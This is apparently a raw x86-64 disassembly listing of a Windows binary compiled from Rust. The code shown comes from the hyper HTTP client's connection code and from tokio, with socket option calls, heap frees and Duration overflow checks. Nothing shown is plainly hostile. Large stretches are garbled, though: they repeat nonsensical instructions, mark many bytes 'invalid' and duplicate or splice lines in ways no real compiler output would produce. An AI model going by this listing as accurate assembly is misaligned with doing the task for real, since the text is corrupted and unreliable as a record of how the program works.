jmp 0x1400b639f
xor edx, edx
div r8d
mov ecx, edx
mov r10d, eax
mov eax, ebp
xor edx, edx
div r9d
mov r9d, eax
mov eax, edx
imul rcx, rcx, 0x3b9aca00
add rax, rcx
mov rcx, rax
shr rcx, 0x20
je 0x1400b6352
xor edx, edx
div r8
jmp 0x1400b6357
xor edx, edx
div r8d
mov qword [rsp + 0x58], r10
add r9d, eax
cmp r9d, 0x3b9aca00
jae 0x1400b6372
mov dword [rsp + 0x48], r9d
mov r12, r11
jmp 0x1400b639f
mov eax, r9d
shr eax, 9
imul rax, rax, 0x44b83
shr rax, 0x27
add qword [rsp + 0x58], rax
jb 0x1400b6f2c
mov r12, r11
imul eax, eax, 0x3b9aca00
sub r9d, eax
mov dword [rsp + 0x48], r9d
lea r9, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientconnecthttp.rs
lea rcx, [rsp + 0xa0]
mov rdx, qword [rsp + 0x178]
mov r8d, dword [rsp + 0x9c]
call fcn.1400f4bb0
mov rax, qword [rsp + 0x68]
test eax, eax
je 0x1400b63ed
mov r9d, eax
mov rax, qword [rsp + 0x70]
mov rcx, rax
shr rcx, 0x20
mov r11, r12
je 0x1400b640a
xor edx, edx
div r9
mov r8, rdx
mov r12, rax
jmp 0x1400b6415
mov r11, r12
mov r8, qword [rsp + 0x40]
mov r12, qword [rsp + 0x80]
mov r10, qword [rsp + 0x90]
jmp 0x1400b6496
xor edx, edx
div r9d
mov r8d, edx
mov r12d, eax
mov eax, dword [rsp + 0x174]
xor edx, edx
div dword [rsp + 0x68]
mov ecx, eax
mov eax, edx
imul rdx, r8, 0x3b9aca00
add rax, rdx
mov rdx, rax
shr rdx, 0x20
je 0x1400b6440
xor edx, edx
div r9
jmp 0x1400b6445
xor edx, edx
div r9d
mov r8, qword [rsp + 0x40]
add ecx, eax
cmp ecx, 0x3b9aca00
mov r10, qword [rsp + 0x90]
jae 0x1400b6461
mov rdx, r12
jmp 0x1400b6485
mov eax, ecx
shr eax, 9
imul rax, rax, 0x44b83
shr rax, 0x27
add r12, rax
jb 0x1400b6f74
mov rdx, r12
imul eax, eax, 0x3b9aca00
sub ecx, eax
mov dword [rsp + 0x7c], ecx
mov rax, qword [rsp + 0x68]
mov r12, qword [rsp + 0x80]
shl rax, 5
add rax, r12
mov qword [rsp + 0x68], rax
mov rbp, qword [rsp + 0xa0]
movups xmm0, xmmword [rsp + 0xa8]
movaps xmmword [rsp + 0x1b0], xmm0
movups xmm0, xmmword [rsp + 0xb8]
movaps xmmword [rsp + 0x1c0], xmm0
movups xmm0, xmmword [rsp + 0xc8]
movaps xmmword [rsp + 0x1d0], xmm0
movups xmm0, xmmword [rsp + 0xd8]
movaps xmmword [rsp + 0x1e0], xmm0
movups xmm0, xmmword [rsp + 0xe8]
movaps xmmword [rsp + 0x1f0], xmm0
movdqu xmm0, xmmword [rsp + 0xf8]
movdqa xmmword [rsp + 0x200], xmm0
mov rax, qword [rsp + 0x108]
mov qword [rsp + 0x210], rax
mov r9, r14
mov ecx, dword [rsp + 0x7c]
mov r13, rsi
mov qword [rdi + 0x138], rbp
mov rax, qword [rsp + 0x210]
mov qword [r15 + 0x68], rax
movaps xmm0, xmmword [rsp + 0x200]
movups xmmword [r15 + 0x58], xmm0
movaps xmm0, xmmword [rsp + 0x1f0]
movups xmmword [r15 + 0x48], xmm0
movdqa xmm0, xmmword [rsp + 0x1b0]
movaps xmm1, xmmword [rsp + 0x1c0]
movaps xmm2, xmmword [rsp + 0x1d0]
movaps xmm3, xmmword [rsp + 0x1e0]
movups xmmword [r15 + 0x38], xmm3
movups xmmword [r15 + 0x28], xmm2
movups xmmword [r15 + 0x18], xmm1
movdqu xmmword [r15 + 8], xmm0
mov qword [r15 + 0x70], r12
mov qword [r15 + 0x78], r12
mov qword [r15 + 0x80], r10
mov rax, qword [rsp + 0x68]
mov qword [r15 + 0x88], rax
mov qword [r15 + 0x90], rdx
mov dword [r15 + 0x98], ecx
mov qword [r15 + 0xa0], r9
mov qword [r15 + 0xa8], r14
mov rax, qword [rsp + 0x38]
mov qword [r15 + 0xb0], rax
mov qword [r15 + 0xb8], r11
mov rax, qword [rsp + 0x58]
mov qword [r15 + 0xc0], rax
mov eax, dword [rsp + 0x48]
mov dword [r15 + 0xc8], eax
add r8, 0x10
mov qword [r15 + 0xd0], r8
lea r12, [rdi + 0x138]
add r15, 0xd8
lea rdx, [rsp + 0x218]
mov r8d, 0x918
mov rcx, r15
call fcn.140106250
lea r14, [rdi + 0xb28]
mov byte [rdi + 0xb28], 0
mov byte [rdi + 0xb29], 0
lea rcx, [rdi + 0x210]
mov r8d, 0xd8
mov rdx, r12
call fcn.140106250
lea rsi, [rdi + 0x2b0]
cmp dword [rdi + 0x210], 2
jne 0x1400b66ba
mov qword [rsp + 0x30], r12
mov r12, r14
mov r14, qword [rsp + 0x60]
mov rax, qword [rdi + 0x2e0]
mov qword [rdi + 0xb30], rsi
mov qword [rdi + 0xb38], rax
mov byte [rdi + 0xea8], 0
mov rbp, qword [rsp + 0x50]
mov rsi, r13
lea rdx, [rdi + 0xb30]
lea rcx, [rsp + 0xa0]
mov r8, rsi
call fcn.1400b6fc0
mov r13, qword [rsp + 0xa0]
cmp r13, 3
jne 0x1400b67dd
mov al, 3
mov r13, r14
mov r14, r12
jmp 0x1400b6aeb
lea rcx, [rdi + 0x2e8]
mov r8d, 0xa0
mov rdx, r12
call fcn.140106250
mov rax, qword [rdi + 0x2e0]
lea r15, [rdi + 0x388]
mov qword [rdi + 0x388], rsi
mov qword [rdi + 0x390], rax
mov byte [rdi + 0x700], 0
lea rcx, [rdi + 0x358]
lea rdx, [rdi + 0x708]
mov qword [rdi + 0x708], rcx
mov qword [rdi + 0x710], rax
mov byte [rdi + 0xa80], 0
mov qword [rdi + 0xb30], rdx
lea rax, [rdi + 0xa88]
movups xmm0, xmmword [r12]
movups xmm1, xmmword [r12 + 0x10]
movups xmm2, xmmword [r12 + 0x20]
movups xmm3, xmmword [r12 + 0x30]
movups xmmword [rdi + 0xa88], xmm0
movups xmmword [rdi + 0xa98], xmm1
movups xmmword [rdi + 0xaa8], xmm2
movups xmmword [rdi + 0xab8], xmm3
movups xmm0, xmmword [r12 + 0x40]
movups xmmword [rdi + 0xac8], xmm0
movups xmm0, xmmword [r12 + 0x50]
movups xmmword [rdi + 0xad8], xmm0
movdqu xmm0, xmmword [r12 + 0x60]
movdqu xmmword [rdi + 0xae8], xmm0
mov qword [rdi + 0xb38], r15
mov qword [rdi + 0xb40], rax
mov rbp, qword [rsp + 0x50]
mov rsi, r13
mov r13, qword [rsp + 0x60]
lea rcx, [rsp + 0xa0]
mov rdx, r15
mov r8, rsi
call fcn.1400b6fc0
mov rax, qword [rsp + 0xa0]
cmp rax, 3
jne 0x1400b688c
mov rcx, qword [rdi + 0xb40]
mov rdx, qword [rsi]
call fcn.1400f4440
test al, al
je 0x1400b6933
mov al, 4
jmp 0x1400b6aeb
movupd xmm6, xmmword [rsp + 0xa8]
mov r15, qword [rsp + 0xb8]
mov rax, qword [rsp + 0xc0]
mov qword [rsp + 0x38], rax
cmp byte [rdi + 0xea8], 3
jne 0x1400b6871
lea rcx, [rdi + 0xd20]
call fcn.1400b7fc0
mov r8, qword [rdi + 0xb50]
test r8, r8
je 0x1400b6871
mov rsi, r12
mov r12, qword [rsp + 0x30]
cmp qword [rdi + 0x2c0], 0
jne 0x1400b6d6c
mov r8, rsi
mov rsi, r13
mov rcx, qword [rsp + 0xa8]
movups xmm0, xmmword [rsp + 0xb0]
movaps xmmword [rsp + 0x190], xmm0
mov rdx, qword [rsp + 0xc0]
and al, 0xc0
add byte [rax], al
add byte [rax - 0x77], cl
xchg esp, eax
and al, 0xa0
add dword [rax], eax
add byte [rax - 0x75], cl
xchg edi, eax
or eax, dword [rax]
invalid
and al, 0xc0
add byte [rax], al
add byte [rax - 0x77], cl
xchg esp, eax
and al, 0xa0
add dword [rax], eax
add byte [rax - 0x75], cl
xchg edi, eax
or eax, dword [rax]
add byte [rax - 0x77], cl
mov qword [rdi + 0xaf8], rax
mov qword [rdi + 0xb00], rcx
movaps xmm0, xmmword [rsp + 0x190]
add byte [rax], al
mov qword [rdi + 0xaf8], rax
mov dword [rdi + 0xaf8], eax
mov qword [rdi + 0xb00], rcx
movaps xmm0, xmmword [rsp + 0x190]
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
adc dword [rdi + 0xb08], eax
movups xmmword [rdi + 0xb08], xmm0
mov rax, qword [rsp + 0x1a0]
mov qword [rdi + 0xb18], rax
or eax, dword [rax]
add byte [rax - 0x77], cl
xchg edi, eax
and byte [rbx], cl
add byte [rax], al
or eax, dword [rax]
add byte [rax - 0x77], cl
xchg edi, eax
and byte [rbx], cl
add byte [rax], al
mov qword [rsp + 0x160], rax
movaps xmmword [rsp + 0x150], xmm0
test byte [rax + rdx*2], ah
add dword [rax], eax
add byte [rax - 0x75], cl
xchg eax, edi
or al, byte [rax]
add byte [rax - 0x77], cl
test byte [rax + rax*2], ah
add dword [rax], eax
add byte [rax - 0x75], cl
xchg dword [rax], eax
or eax, dword [rax]
add byte [rax - 0x77], cl
test byte [rax + rcx*2], ah
add dword [rax], eax
add byte [rbx + rcx*4 - 0x41], cl
xor byte [rbx], cl
or eax, dword [rax]
invalid
test byte [rax + rdx*2], ah
add dword [rax], eax
add byte [rax - 0x75], cl
xchg eax, edi
or al, byte [rax]
add byte [rax - 0x77], cl
test byte [rax + rax*2], ah
add dword [rax], eax
add byte [rax - 0x75], cl
xchg dword [rax], eax
or eax, dword [rax]
add byte [rax - 0x77], cl
test byte [rax + rcx*2], ah
add dword [rax], eax
add byte [rbx + rcx*4 - 0x41], cl
xor byte [rbx], cl
or eax, dword [rax]
invalid
or eax, dword [rax]
add byte [rax + 1], bh
mov eax, 1
jmp case.0x1400656b8.343
mov qword [rdi + 0xaf8], 3
mov qword [rdi + 0xb00], r15
xchg eax, edi
or al, byte [rax]
add byte [rbx], al
add byte [rax], al
add byte [rcx + rcx*4 - 0x41], cl
add byte [rbx], cl
add byte [rax], al
movdqa xmm0, xmmword [rsp + 0x190]
movdqu xmmword [rdi + 0xb08], xmm0
nop
add dword [rax], eax
add bl, dh
movq qword [rdi + 0xb08], mm0
mov rax, qword [rsp + 0x1a0]
mov qword [rdi + 0xb18], rax
or eax, dword [rax]
add byte [rax - 0x75], cl
xchg dword [rax], esi
or eax, dword [rax]
add byte [rcx + rcx*4 - 0x41], cl
xor byte [rbx], cl
add byte [rax], al
or eax, dword [rax]
add byte [rax - 0x75], cl
xchg dword [rax], esi
or eax, dword [rax]
add byte [rcx + rcx*4 - 0x41], cl
xor byte [rbx], cl
add byte [rax], al
mov qword [rdi + 0xb38], rax
lea rcx, [rsp + 0xa0]
mov rdx, r15
mov r8, rsi
mov eax, esi
mov eax, esi
call fcn.1400b6fc0
cmp dword [rsp + 0xa0], 3
jne 0x1400b69bf
mov rdx, qword [rdi + 0xb38]
mov edx, dword [rdi + 0xb38]
lea rcx, [rsp + 0xa0]
mov r8, rsi
call fcn.1400b6fc0
adc al, byte [rsi]
add byte [rax], al
adc al, byte [rsi]
add byte [rax], al
cmp dword [rsp + 0xa0], 3
add byte [rbx], al
jne 0x1400b69fd
mov al, 5
jmp 0x1400b6aeb
mov r8, rsi
mov eax, esi
mov rax, qword [rsp + 0xc0]
add byte [rax], al
mov qword [rsp + 0x130], rax
movups xmm0, xmmword [rsp + 0xa0]
movups xmm1, xmmword [rsp + 0xb0]
mov word [rax + rsi*4], fs
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0x120], ecx
and al, 0x20
add dword [rax], eax
invalid
mov word [rax + rsi*4], fs
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0x120], ecx
and al, 0x20
add dword [rax], eax
invalid
and al, 0x20
add dword [rax], eax
add byte [rdi], cl
sub dword [rsp + 0x110], eax
add byte [rax], al
and byte [rcx], al
add byte [rax], al
movaps xmmword [rsp + 0x110], xmm0
add byte [rax], al
mov r15, qword [rdi + 0xb38]
xor eax, eax
shr bl, 0x38
shr bl, 0x38
mov r8, rsi
mov rax, qword [rsp + 0xc0]
mov qword [rsp + 0x130], rax
movups xmm0, xmmword [rsp + 0xa0]
movups xmm1, xmmword [rsp + 0xb0]
movaps xmmword [rsp + 0x120], xmm1
movaps xmmword [rsp + 0x110], xmm0
mov eax, 1
mov rsi, r13
mov esi, ebp
mov rcx, qword [rsp + 0x130]
xor byte [rcx], al
add byte [rax], al
mov qword [rsp + 0x160], rcx
movaps xmm0, xmmword [rsp + 0x110]
test byte [rax + rdx], ah
add dword [rax], eax
add byte [rdi], cl
movaps xmm1, xmmword [rsp + 0x120]
movaps xmm1, xmmword [rsp + 0x120]
and byte [rcx], al
add byte [rax], al
movaps xmmword [rsp + 0x150], xmm1
movaps xmmword [rsp + 0x140], xmm0
mov byte [rdi + 0xb29], 1
mov rcx, qword [rsp + 0x140]
mov rdx, qword [rsp + 0x148]
xchg esp, eax
and al, 0x48
add dword [rax], eax
add byte [rsi + 0xf], ah
movq mm0, qword [rsp + 0x150]
xchg esp, eax
and al, 0x48
add dword [rax], eax
add byte [rsi + 0xf], ah
movq mm0, qword [rsp + 0x150]
invalid
invalid
invalid
movq mm0, qword [rsp + 0x150]
add byte [rax], al
mov qword [rdi + 0xb30], rcx
add byte [rax], al
add byte [rax - 0x77], cl
xchg edi, eax
cmp byte [rbx], cl
add byte [rax], al
mov qword [rdi + 0xb38], rdx
movdqu xmmword [rdi + 0xb40], xmm0
add byte [rax], al
mov rcx, qword [rsp + 0x160]
mov qword [rdi + 0xb50], rcx
mov r13, qword [rdi + 0xb30]
xor byte [rbx], cl
add byte [rax], al
invalid
xor byte [rbx], cl
add byte [rax], al
cmp r13, 2
jne 0x1400b6b22
mov qword [rdi + 0xb58], rax
mov qword [rdi + 0xb60], r15
lea rcx, [rsp + 0xa0]
mov word [rax + riz*4], fs
add byte [rax], al
add byte [rcx + rcx*4 - 6], cl
mov rdx, r15
mov rdx, r15
call fcn.1400b6fc0
mov r13, qword [rsp + 0xa0]
add byte [rax], al
add byte [rax], al
cmp r13, 3
jne 0x1400b6b42
mov al, 6
mov r13, rsi
mov byte [r14], al
mov byte [rsi], al
mov al, 4
mov byte [r13], al
mov qword [rbx], 3
mov al, 3
mov byte [rdi + 0xeb0], al
mov rax, rbx
movaps xmm6, xmmword [rsp + 0xb30]
add rsp, 0xb48
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
invalid
pop rdi
ret
movupd xmm6, xmmword [rdi + 0xb38]
mov r15, qword [rdi + 0xb48]
mov rax, qword [rdi + 0xb50]
mov qword [rsp + 0x38], rax
jmp 0x1400b6bf0
cmp cl, ch
scasb al, byte [rdi]
add byte [rax], al
add byte [rsi + 0xf], ah
adc byte [rsp + 0xa8], dh
movupd xmm6, xmmword [rsp + 0xa8]
mov r15, qword [rsp + 0xb8]
mov rax, qword [rsp + 0xc0]
mov qword [rsp + 0x38], rax
add byte [rax], al
add byte [rax - 0x75], cl
test byte [rax + rax*8], ah
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x38
cmp byte [rdi + 0xb29], 0
je 0x1400b6bf0
add byte [rax], al
add byte [rdi], cl
test byte [rbx - 0x7d000000], al
mov edi, 0xb30
add dh, byte [rbp + 0x6e]
mov qword [rsp + 0x30], r12
and al, 0x30
cmp dword [rdi + 0xb30], 2
jne 0x1400b6be4
and al, 0x30
mov r12, r14
cmp qword [rdi + 0xb40], 0
mov edi, 0xb40
invalid
je 0x1400b6b9e
mov edi, 0xb40
add byte [rsi + rdx + 0x4c], dh
mov eax, dword [rdi + 0xb38]
mov r8, qword [rdi + 0xb38]
mov rcx, qword [0x140182260]
or al, 0
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
invalid
add byte [rbx + rcx*4 - 0x49], cl
or rax, qword [rax]
add byte [rbp - 0x7b], cl
div byte [rax + rsi + 0x48]
je 0x1400b6bda
mov rsi, qword [rdi + 0xb50]
mov r14, qword [rdi + 0xb48]
test r14, r14
je 0x1400b6bda
mov rsi, qword [rdi + 0xb50]
mov rcx, r14
mov ecx, esi
call qword [rsi]
cmp qword [rsi + 8], 0
je 0x1400b6bda
cmp qword [rsi + 0x10], 0x11
jb 0x1400b6bc8
mov r14, qword [r14 - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
mov r14, r12
mov r12, qword [rsp + 0x30]
jmp 0x1400b6bf0
invalid
mov byte [rdi + 0xb29], 0
xchg dword [rcx], ebp
or eax, dword [rax]
add byte [rax], al
lea rcx, [rdi + 0xa88]
call fcn.1400ec9d0
lea rcx, [rdi + 0xa90]
nop
or al, byte [rax]
add byte [rax - 0x7d], cl
mov edi, 0xa88
invalid
je 0x1400b6c24
nop
or al, byte [rax]
add byte [rax - 0x7d], cl
mov edi, 0xa88
add byte [rax + rdx + 0x48], dh
mov eax, dword [rcx]
mov rax, qword [rcx]
lock dec qword [rax]
jne 0x1400b6c32
call fcn.1400687d0
jmp 0x1400b6c32
mov rax, qword [rcx]
lock dec qword [rax]
add eax, esi
dec qword [rax]
jne 0x1400b6c32
call fcn.1400396d0
mov rax, qword [rdi + 0xad0]
test rax, rax
je 0x1400b6c48
mov rcx, qword [rdi + 0xad8]
fmul dword [rdx]
add byte [rax], al
or al, byte [rax]
add bh, bh
push rax
sbb byte [rcx + rcx*4 + 0x74], cl
and al, 0x50
call qword [rax + 0x18]
mov qword [rsp + 0x50], r14
cmp byte [rdi + 0xa80], 3
jne 0x1400b6cc3
lea rcx, [rdi + 0x8f8]
call fcn.1400b7fc0
mov r8, qword [rdi + 0x728]
test r8, r8
je 0x1400b6cc3
cmp qword [rdi + 0x730], 0
je 0x1400b6c87
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
adc eax, 0x5b6d9
mov r14, qword [rdi + 0x738]
mov esi, dword [rdi + 0x738]
test r14, r14
je 0x1400b6cc3
xor byte [rax - 0x75], cl
mov bh, 0x40
invalid
mov rsi, qword [rdi + 0x740]
mov rcx, r14
call qword [rsi]
cmp qword [rsi + 8], 0
jle 0x1400b6cab
invalid
jle 0x1400b6cab
add byte [rbp + rbx + 0x48], dh
cmp dword [rsi + 0x10], 0x11
je 0x1400b6cc3
jb 0x1400b6cb1
mov r14, qword [r14 - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
invalid
invalid
cmp byte [rdi + 0x700], 3
jne 0x1400b6d39
lea rcx, [rdi + 0x578]
add byte [rax], al
call fcn.1400b7fc0
mov r8, qword [rdi + 0x3a8]
add eax, dword [rax]
add byte [rbp - 0x7b], cl
invalid
je 0x1400b6d39
add eax, dword [rax]
add byte [rbp - 0x7b], cl
sal byte [rbp + rdx*2 + 0x48], 0x83
cmp qword [rdi + 0x3b0], 0
je 0x1400b6cfd
mov edi, 0x3b0
add byte [rdi + rcx + 0x48], dh
mov ecx, dword [0x140182260]
mov ch, 0xc
invalid
mov rcx, qword [0x140182260]
mov ch, 0xc
add byte [rcx], dh
sar bh, cl
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
adc eax, 0x5b663
adc eax, 0x5b663
add byte [rbx + rcx*4 - 0x49], cl
mov eax, 0x4d000003
test esi, esi
mov r14, qword [rdi + 0x3b8]
test r14, r14
je 0x1400b6d39
mov rsi, qword [rdi + 0x3c0]
mov rcx, r14
int1
rol byte [rbx], 0
add byte [rcx + rcx*4 - 0xf], cl
int1
call qword [rsi]
cmp qword [rsi + 8], 0
or byte [rax], al
or byte [rax], al
je 0x1400b6d39
cmp qword [rsi + 0x10], 0x11
jb 0x1400b6d27
invalid
add al, 0x4d
mov esi, dword [rsi - 8]
mov r14, qword [r14 - 8]
mov rcx, qword [0x140182260]
or al, 0
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
invalid
cmp qword [rdi + 0x368], 0
je 0x1400b6e6e
mov r8, qword [rdi + 0x358]
mov eax, dword [rdi + 0x358]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rsi, qword [rsp + 0x50]
add byte [rax - 0x75], cl
je 0x1400b6d85
push rax
cmp qword [rdi + 0x2c0], 0
je 0x1400b6d82
mov r8, qword [rdi + 0x2b0]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov byte [rsi], 1
mov rcx, r12
call fcn.1400b8030
movabs dword [0x7502fd8341000012], eax
invalid
movabs dword [0x7502fd8341000012], eax
or cl, byte [rax - 0x75]
je 0x1400b6dbb
cmp cl, ch
mov esp, esp
invalid
cmp edi, 0xffffffff
mov rsi, qword [rsp + 0x38]
je 0x1400b6ecb
invalid
add dword [rax], eax
invalid
invalid
mov rax, qword [rdi + 0x128]
mov rax, qword [rax]
movzx eax, byte [rax + 0x77]
mov dword [rsp + 0x218], eax
and al, 0x18
add al, byte [rax]
add bh, al
and al, 0x20
add al, 0
add byte [rax], al
invalid
test byte [rax + rbx], ah
and al, 0x18
add al, byte [rax]
add bh, al
and al, 0x20
add al, 0
add byte [rax], al
invalid
lea r9, [rsp + 0x218]
mov rcx, r15
mov edx, 6
invalid
add byte [rax], al
add byte [rcx - 0x48], al
add dword [rax], eax
add byte [rax], al
invalid
invalid
add byte [rcx - 0x48], al
add dword [rax], eax
add byte [rax], al
invalid
mov eax, 1
call qword [sym.imp.ws2_32.dll_setsockopt]
cmp eax, 0xffffffff
jne 0x1400b6df0
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
enter 0x5b7, 0
cmp byte [rdi + 0xd0], 2
add byte [rdx], al
jb 0x1400b6e24
mov r14, qword [rdi + 0xd8]
mov esi, dword [rdi + 0xd8]
lea rcx, [r14 + 0x18]
mov rax, qword [r14]
mov eax, dword [rsi]
mov rdx, qword [r14 + 8]
or byte [rbp - 0x75], cl
adc dil, r15b
push rax
adc byte [rax - 0x75], cl
or eax, 0xcb447
mov ah, 0xc
invalid
or byte [rbp - 0x75], cl
adc dil, r15b
push rax
adc byte [rax - 0x75], cl
or eax, 0xcb447
mov ah, 0xc
invalid
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rdi + 0xf8]
mov rax, qword [rdi + 0xe0]
mov rdx, qword [rdi + 0xe8]
call 0x18c0b6e3a
mov eax, dword [rdi + 0xf0]
invalid
call 0x18c0b6e3a
mov eax, dword [rdi + 0xf0]
add byte [rax], al
add byte [rbx + rcx*4 - 0x79], cl
lock add byte [rax], al
add bh, bh
push rax
adc byte [rax - 0x73], cl
invalid
call qword [rax + 0x10]
lea rcx, [rdi + 0x118]
sbb byte [rcx], al
add byte [rax], al
invalid
sbb byte [rcx], al
add byte [rax], al
invalid
add byte [rax - 0x75], cl
xchg dword [rax], eax
add dword [rax], eax
add byte [rax - 0x75], cl
xchg edi, eax
or byte [rcx], al
add byte [rax], al
mov rax, qword [rdi + 0x100]
mov rdx, qword [rdi + 0x108]
add byte [rax], al
mov r8, qword [rdi + 0x110]
call qword [rax + 0x10]
mov byte [rdi + 0x132], 1
add bh, bh
push rax
adc dh, al
xchg dword [rdx], esi
add dword [rax], eax
add byte [rcx], al
jmp case.0x140095dbc.136
mov rsi, qword [rsp + 0x50]
cmp qword [rdi + 0x2c0], 0
cmp dword [rdi + 0x2c0], 0
cmp dword [rdi + 0x2c0], 0
jne 0x1400b6d6c
jmp 0x1400b6d82
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientconnecthttp.rs
call fcn.140108880
add eax, 0x1b900
add byte [rax], al
mov ecx, 1
mov edx, 0x1f
add byte [rax], al
call fcn.140107fc0
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientconnecthttp.rs
lea ecx, [0x140140528]
adc byte [rsi - 0x2c17fff8], 0x19
add eax, 0x1b900
add byte [rax], al
call fcn.140108880
mov ecx, 1
mov edx, 0x1c
call fcn.140107fc0
mov ecx, 1
mov edx, 0x1e
call fcn.140107fc0
invalid
add byte [rax - 0x73], cl
or eax, 0x951f6
or dword [rax], eax
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_srciopoll_evented.rs
or dword [rax], eax
call fcn.140108690
mov ecx, 1
mov edx, 9
add byte [rax], al
add byte [rax], al
add al, ch
ficom dword [rax]
add eax, 0xd8d4800
invalid
invalid
invalid
retf
call fcn.140107fc0
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientconnectdns.rs
call fcn.140108880
invalid
invalid
add al, ch
mov ds, word [rcx]
add eax, 0x4b900
add byte [rax], al
mov ecx, 4
mov edx, 0x20
call fcn.140107fe0
add al, ch
cli
wait
cmc
dec dword [rax - 0x73]
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientconnecthttp.rs
call fcn.140010b00
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientconnecthttp.rs
call fcn.140108880
mov ecx, 1
add eax, 0x1b900
add byte [rax], al
mov rdx, rbp
call fcn.140107fc0
mov ecx, 4
add al, 0
add byte [rax], al
mov rdx, r12
call fcn.140107fc0
lea rax, str.overflow_in_Duration::new
mov qword [rsp + 0xa0], rax
mov dword [rsp + 0xa0], eax
mov dword [rsp + 0xa0], eax
mov qword [rsp + 0xa8], 1
mov dword [rsp + 0xa8], 1
mov qword [rsp + 0xb0], 8
pxor xmm0, xmm0
movdqu xmmword [rsp + 0xb8], xmm0
lea rdx, str._rustc_c987ad527540e8f1565f57c31204bde33f63df76librarycore_src_time.rs_
sbb byte [rcx], cl
invalid
add byte [rax], al
add byte [rsi + 0xf], ah
out dx, eax
sal bl, 0xf
jg 0x1400b6edf
and al, 0xb8
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x91841
sbb byte [rcx], cl
invalid
sbb byte [rcx], cl
add byte [rax - 0x73], cl
mov word [rax + riz*4], fs
add byte [rax], al
add al, ch
or al, 0x13
add eax, 0x58d4800
invalid
lea rcx, [rsp + 0xa0]
call fcn.140108280
lea rax, str.overflow_in_Duration::new
mov qword [rsp + 0x110], rax
add dword [rax], eax
add byte [rax - 0x39], cl
test byte [rax + rbx], ah
add dword [rax], eax
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + riz], ah
add dword [rax], eax
add byte [rax], cl
add byte [rax], al
add byte [rsi + 0xf], ah
out dx, eax
sal bl, 0xf
movq qword [rsp + 0x128], mm0
invalid
add dword [rax], eax
add byte [rax], cl
add byte [rax], al
add byte [rsi + 0xf], ah
out dx, eax
sal bl, 0xf
invalid
jg 0x1400b6f27
movq qword [rsp + 0x128], mm0
and al, 0x28
add dword [rax], eax
add byte [rax - 0x73], cl
lea rdx, str._rustc_c987ad527540e8f1565f57c31204bde33f63df76librarycore_src_time.rs_
lea rdx, str._rustc_c987ad527540e8f1565f57c31204bde33f63df76librarycore_src_time.rs_
lea rcx, [rsp + 0x110]
call fcn.140108280
ud2
mov qword [rsp + 0x58], r8
mov rsi, rdx
mov qword [rsp + 0xf0], rcx
movzx eax, byte [rdx + 0x378]
add eax, dword [rax]
invalid
test eax, eax
je 0x1400b7011
add eax, dword [rax]
add byte [rbp - 0x7cdc8b40], al
clc
add esi, dword [rbp + 0x63]
cmp eax, 3
jne 0x1400b7056
lea r14, [rsi + 0x1f0]
movzx eax, byte [rsi + 0x280]
mov dh, 0x86
add byte [rdx], 0
add byte [rax - 0x73], cl
or eax, 0xc0f54
mov dh, 0x86
add byte [rdx], 0
add byte [rax - 0x73], cl
or eax, 0xc0f54
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov rax, qword [rsi]
mov rcx, qword [rsi + 8]
mov qword [rsi + 0x10], rax
mov qword [rsi + 0x18], rcx
mov qword [rsi + 0x20], 0
mov qword [rsi + 0x40], rax
xor r12d, r12d
mov rcx, qword [rax + 8]
mov r15, r12
cmp rcx, qword [rax + 0x18]
jne 0x1400b7062
test r15, r15
je 0x1400b7c8e
add byte [rax], al
add byte [rax], al
mov rdi, qword [rsi + 0x28]
mov r12, qword [rsi + 0x30]
mov rbx, qword [rsi + 0x38]
jmp 0x1400b7d00
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientconnecthttp.rs
lea ecx, [0x1401404e8]
or byte [rax], al
call fcn.140108880
lea rdx, [rcx + 0x20]
mov qword [rax + 8], rdx
movzx ebp, word [rcx]
mov bh, 0x29
mov bh, 0x29
movups xmm0, xmmword [rcx + 2]
movups xmm1, xmmword [rcx + 0x10]
adc byte [r15], cl
adc dword [rsp + 0x19e], ecx
adc byte [r15], cl
adc dword [rsp + 0x19e], ecx
movaps xmmword [rsp + 0x190], xmm0
cmp rbp, 2
je 0x1400b7c81
mov word [rsi + 0x48], bp
movaps xmm0, xmmword [rsp + 0x190]
movups xmmword [rsi + 0x4a], xmm0
movups xmm0, xmmword [rsp + 0x19e]
movups xmmword [rsi + 0x58], xmm0
mov rax, qword [rsi + 0x10]
mov rbx, qword [rsi + 0x18]
mov r15, qword [rax + 0x20]
mov r12d, dword [rax + 0x28]
mov eax, dword [rsi + 0x4a]
movzx edi, word [rsi + 0x4e]
